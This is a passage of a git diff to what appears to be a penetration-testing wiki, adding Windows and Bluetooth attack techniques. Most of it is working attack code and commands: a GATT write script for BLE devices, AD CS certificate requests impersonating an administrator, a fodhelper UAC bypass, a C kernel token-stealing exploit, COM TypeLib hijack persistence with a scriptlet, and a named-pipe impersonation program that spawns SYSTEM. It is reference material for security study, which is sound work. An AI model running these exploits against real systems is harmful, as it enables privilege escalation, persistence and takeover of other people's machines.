python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
|
||||
Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
|
||||
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
|
||||
This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
|
||||
|
||||
Sniffle CLI quick examples:
|
||||
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
|
||||
|
||||
### Active control via GATT
|
||||
|
||||
Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
|
||||
|
||||
- With Nordic nRF Connect for Desktop (BLE app):
|
||||
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
|
||||
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
|
||||
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
|
||||
|
||||
- Automate on Windows with a Nordic dongle using Python + blatann:
|
||||
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
|
||||
# CONFIG
|
||||
COM_PORT = "COM29" # Replace with your COM port
|
||||
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
|
||||
|
||||
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
|
||||
|
||||
# CONNECT
|
||||
ble_device = blatann.BleDevice(COM_PORT)
|
||||
ble_device.configure()
|
||||
ble_device.open()
|
||||
print(f"[-] Connecting to {TARGET_MAC}...")
|
||||
peer = ble_device.connect(target_address).wait()
|
||||
if not peer:
|
||||
print("[!] Connection failed.")
|
||||
ble_device.close()
|
||||
raise SystemExit(1)
|
||||
|
||||
print("Connected. Discovering services...")
|
||||
peer.discover_services().wait(5, exception_on_timeout=False)
|
||||
|
||||
# Example: write 0x01/0x00 to a known handle
|
||||
for service in peer.database.services:
|
||||
for ch in service.characteristics:
|
||||
if ch.handle == 0x000b: # Replace with your handle
|
||||
print("[!] Beeping.")
|
||||
ch.write(b"\x01")
|
||||
time.sleep(2)
|
||||
print("[+] And relax.")
|
||||
ch.write(b"\x00")
|
||||
|
||||
print("[-] Disconnecting...")
|
||||
peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
|
||||
### Operational notes and mitigations
|
||||
|
||||
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
|
||||
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
|
||||
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
|
||||
|
||||
## References
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
|
||||
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
|
||||
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
|
||||
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
|
||||
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -108,10 +108,20 @@ AD's certificate services can be enumerated through LDAP queries, revealing info
|
||||
Commands for using these tools include:
|
||||
|
||||
```bash
|
||||
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
|
||||
Certify.exe cas
|
||||
# Identify vulnerable certificate templates with Certify
|
||||
Certify.exe find /vulnerable
|
||||
# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
|
||||
# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
|
||||
Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks]
|
||||
|
||||
# Identify vulnerable certificate templates and filter for common abuse cases
|
||||
Certify.exe find
|
||||
Certify.exe find /vulnerable [/currentuser]
|
||||
Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
|
||||
Certify.exe find /clientauth # templates with client-auth EKU
|
||||
Certify.exe find /showAllPermissions # include template ACLs in output
|
||||
Certify.exe find /json /outfile:C:\Temp\adcs.json
|
||||
|
||||
# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery
|
||||
Certify.exe pkiobjects [/domain:domain.local] [/showAdmins]
|
||||
|
||||
# Use Certipy for enumeration and identifying vulnerable templates
|
||||
certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
||||
@ -125,8 +135,7 @@ certutil -v -dstemplate
|
||||
|
||||
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
|
||||
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)
|
||||
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
|
||||
- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -43,8 +43,19 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
To **abuse this vulnerability to impersonate an administrator** one could run:
|
||||
|
||||
```bash
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
|
||||
|
||||
# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
|
||||
|
||||
# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
|
||||
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
|
||||
|
||||
# Certipy equivalent
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
|
||||
Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again:
|
||||
@ -152,6 +163,13 @@ Notable permissions applicable to certificate templates include:
|
||||
|
||||
### Abuse
|
||||
|
||||
To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
|
||||
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
|
||||
An example of a privesc like the previous one:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
@ -1010,6 +1028,8 @@ Both scenarios lead to an **increase in the attack surface** from one forest to
|
||||
## References
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
- [GhostPack/Certify](https://github.com/GhostPack/Certify)
|
||||
- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -173,6 +173,40 @@ Major Minor Build Revision
|
||||
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
The trusted binary `fodhelper.exe` is auto-elevated on modern Windows. When launched, it queries the per-user registry path below without validating the `DelegateExecute` verb. Planting a command there allows a Medium Integrity process (user is in Administrators) to spawn a High Integrity process without a UAC prompt.
|
||||
|
||||
Registry path queried by fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
|
||||
PowerShell steps (set your payload, then trigger):
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
|
||||
# 1) Create the vulnerable key and values
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
|
||||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
|
||||
|
||||
# 2) Set default command to your payload (example: reverse shell or cmd)
|
||||
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
|
||||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
|
||||
|
||||
# 3) Trigger auto-elevation
|
||||
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions).
|
||||
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
|
||||
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
|
||||
|
||||
#### More UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
@ -208,6 +242,12 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D
|
||||
|
||||
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
|
||||
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
|
||||
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -733,6 +733,13 @@ driverquery.exe /fo table
|
||||
driverquery /SI
|
||||
```
|
||||
|
||||
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
|
||||
|
||||
{{#ref}}
|
||||
arbitrary-kernel-rw-token-theft.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## PATH DLL Hijacking
|
||||
|
||||
If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
|
||||
@ -1830,4 +1837,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,124 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Overview
|
||||
|
||||
If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.
|
||||
|
||||
Why it works:
|
||||
- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object).
|
||||
- The SYSTEM process (PID 4) holds a token with all privileges enabled.
|
||||
- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.
|
||||
|
||||
> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
|
||||
|
||||
## High-level steps
|
||||
|
||||
1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
|
||||
- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
|
||||
- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
|
||||
2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
|
||||
3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
|
||||
- EPROCESS_SYSTEM (for SYSTEM)
|
||||
- EPROCESS_SELF (for the current process)
|
||||
4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
|
||||
5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
|
||||
7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
|
||||
|
||||
## Pseudocode
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly.
|
||||
- Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies.
|
||||
- Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.
|
||||
|
||||
## Detection & mitigation
|
||||
- Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading.
|
||||
- EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps.
|
||||
|
||||
## References
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -78,6 +78,71 @@ Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5
|
||||
|
||||
Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) define COM interfaces and are loaded via `LoadTypeLib()`. When a COM server is instantiated, the OS may also load the associated TypeLib by consulting registry keys under `HKCR\TypeLib\{LIBID}`. If the TypeLib path is replaced with a **moniker**, e.g. `script:C:\...\evil.sct`, Windows will execute the scriptlet when the TypeLib is resolved – yielding a stealthy persistence that triggers when common components are touched.
|
||||
|
||||
This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
|
||||
|
||||
### Steps (PowerShell)
|
||||
|
||||
1) Identify the TypeLib (LIBID) used by a high-frequency CLSID. Example CLSID often abused by malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
|
||||
2) Point the per-user TypeLib path to a local scriptlet using the `script:` moniker (no admin rights required):
|
||||
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
|
||||
3) Drop a minimal JScript `.sct` that relaunches your primary payload (e.g. a `.lnk` used by the initial chain):
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
try {
|
||||
var sh = new ActiveXObject('WScript.Shell');
|
||||
// Re-launch the malicious LNK for persistence
|
||||
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
|
||||
sh.Run(cmd, 0, false);
|
||||
} catch(e) {}
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
|
||||
4) Triggering – opening IE, an application that embeds the WebBrowser control, or even routine Explorer activity will load the TypeLib and execute the scriptlet, re-arming your chain on logon/reboot.
|
||||
|
||||
Cleanup
|
||||
```powershell
|
||||
# Remove the per-user TypeLib hijack
|
||||
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
|
||||
# Delete the dropped scriptlet
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
|
||||
Notes
|
||||
- You can apply the same logic to other high-frequency COM components; always resolve the real `LIBID` from `HKCR\CLSID\{CLSID}\TypeLib` first.
|
||||
- On 64-bit systems you may also populate the `win64` subkey for 64-bit consumers.
|
||||
|
||||
## References
|
||||
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -2,9 +2,136 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
||||
Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).
|
||||
|
||||
This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
|
||||
|
||||
## TL;DR
|
||||
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
|
||||
- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
|
||||
- Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
|
||||
- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.
|
||||
|
||||
## Requirements and key APIs
|
||||
- Privileges typically needed by the calling process/thread:
|
||||
- SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
|
||||
- Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
|
||||
- Core APIs used:
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile (must read at least one message before impersonation)
|
||||
- ImpersonateNamedPipeClient and RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.
|
||||
|
||||
## Minimal Win32 workflow (C)
|
||||
```c
|
||||
// Minimal skeleton (no error handling hardening for brevity)
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void) {
|
||||
LPCSTR pipe = "\\\\.\\pipe\\evil";
|
||||
HANDLE hPipe = CreateNamedPipeA(
|
||||
pipe,
|
||||
PIPE_ACCESS_DUPLEX,
|
||||
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||
1, 0, 0, 0, NULL);
|
||||
|
||||
if (hPipe == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// Wait for privileged client to connect (see Triggers section)
|
||||
if (!ConnectNamedPipe(hPipe, NULL)) return 2;
|
||||
|
||||
// Read at least one message before impersonation
|
||||
char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
|
||||
|
||||
// Impersonate the last message sender
|
||||
if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
|
||||
|
||||
// Extract and duplicate the impersonation token into a primary token
|
||||
HANDLE impTok = NULL, priTok = NULL;
|
||||
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
|
||||
if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
|
||||
|
||||
// Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
|
||||
STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
|
||||
if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
|
||||
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
|
||||
0, NULL, NULL, &si, &pi)) {
|
||||
// Fallback: CreateProcessAsUser after you already impersonated SYSTEM
|
||||
CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
|
||||
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
|
||||
RevertToSelf(); // Restore original context
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Notes:
|
||||
- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
|
||||
- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
|
||||
|
||||
## .NET quick example
|
||||
